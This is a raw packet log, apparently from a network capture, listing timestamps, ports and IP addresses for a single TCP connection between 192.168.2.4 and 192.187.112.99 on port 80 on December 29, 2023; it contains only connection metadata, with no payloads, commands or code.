Dec 29, 2023 12:06:53.013947010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013966084 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013978004 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014071941 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014085054 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014096022 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014106989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014117002 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014121056 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014128923 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014141083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014147043 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014153004 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014159918 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014167070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014178038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014179945 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014189005 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014199972 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014200926 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014213085 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014224052 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014230967 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014235020 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014246941 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014251947 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014259100 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014271021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014276028 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014283895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014296055 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014297962 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014307022 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014317036 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014318943 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014332056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014338970 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014343023 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014354944 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014362097 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014368057 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014375925 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014379978 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014396906 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014414072 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014420986 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014426947 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014437914 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014460087 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014477968 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014497042 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014508009 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014540911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014626026 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014637947 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014648914 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014659882 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014669895 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014672041 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014681101 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014684916 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014697075 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014707088 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014708042 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014718056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014727116 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014729977 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014744997 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014750004 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014756918 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014764071 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014769077 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014777899 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014790058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014801025 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014801025 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014811993 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014821053 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014823914 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014836073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014842033 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014847040 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014858007 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014866114 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014868975 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014882088 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014887094 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014894009 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014904976 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014905930 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014918089 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014925957 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014950037 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014966965 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.014980078 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.014992952 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015003920 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015014887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015024900 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015024900 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015038013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015048981 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015049934 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015062094 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015069008 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015073061 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015084982 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015094995 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015094995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015106916 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015117884 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015120029 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015129089 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015131950 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015141010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015153885 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015156984 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015166044 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015176058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015182972 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015187025 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015197992 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015197992 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015212059 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015223026 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015223026 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015233994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015238047 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015244961 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015255928 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015265942 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015266895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015290976 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015305996 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015358925 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015372038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015382051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015392065 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015403986 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015405893 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015415907 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015427113 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015434027 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015438080 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015439987 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015450001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015459061 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015461922 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015475035 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015485048 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015489101 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015512943 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015520096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015531063 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015532970 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015544891 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015554905 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015558004 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015567064 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015567064 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015579939 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015590906 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015590906 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015609980 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015615940 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015624046 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015635967 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015638113 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015647888 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015657902 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015661001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015680075 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015683889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015696049 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015702963 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015707016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015717983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015722036 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015731096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015743017 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015747070 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015755892 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015769005 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015775919 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015783072 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015794039 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015798092 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015805006 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015805960 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015819073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015830040 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015836000 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015858889 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015871048 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015882969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015894890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015906096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015918016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015928030 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015928984 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015940905 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015950918 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015952110 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015964031 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015964985 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015974998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015985966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.015996933 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.015997887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016010046 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016021013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016020060 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016032934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016040087 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016043901 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016055107 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016060114 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016068935 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016081095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016084909 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016093969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016097069 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016105890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016117096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016123056 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016129017 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016148090 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016160965 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016168118 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016174078 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016185999 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016196012 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016201973 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016217947 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016228914 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016232967 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016242027 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016252995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016253948 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016266108 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016278028 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016284943 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016310930 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016331911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016406059 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016418934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016429901 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016441107 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016448975 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016452074 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016463995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016474009 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016474009 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016486883 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016494989 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016498089 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016509056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016510010 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016520023 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016531944 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016535997 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016544104 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016551971 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016555071 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016567945 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016576052 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016578913 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016590118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016598940 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016602039 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016614914 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016618967 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016625881 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016637087 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016638041 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016648054 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016657114 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016659975 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016671896 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016680002 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016683102 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016694069 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016701937 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016705036 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016724110 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016735077 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016736031 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016743898 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016748905 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016761065 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016769886 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016798019 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016849041 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016860962 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016870975 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016892910 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016911030 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016912937 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016926050 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016936064 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016947031 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016957998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016968966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016968966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016980886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.016992092 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.016992092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017005920 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017016888 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017019033 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017029047 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017039061 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017041922 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017051935 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017054081 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017066956 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017077923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017077923 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017091036 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017101049 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017102003 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017115116 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017119884 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017126083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017138004 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017143011 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017149925 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017160892 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017167091 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017172098 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017183065 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017190933 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017190933 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017194986 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017208099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017219067 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017227888 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017230988 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017244101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017251015 CET	49729	80	192.168.2.4	192.187.112.99
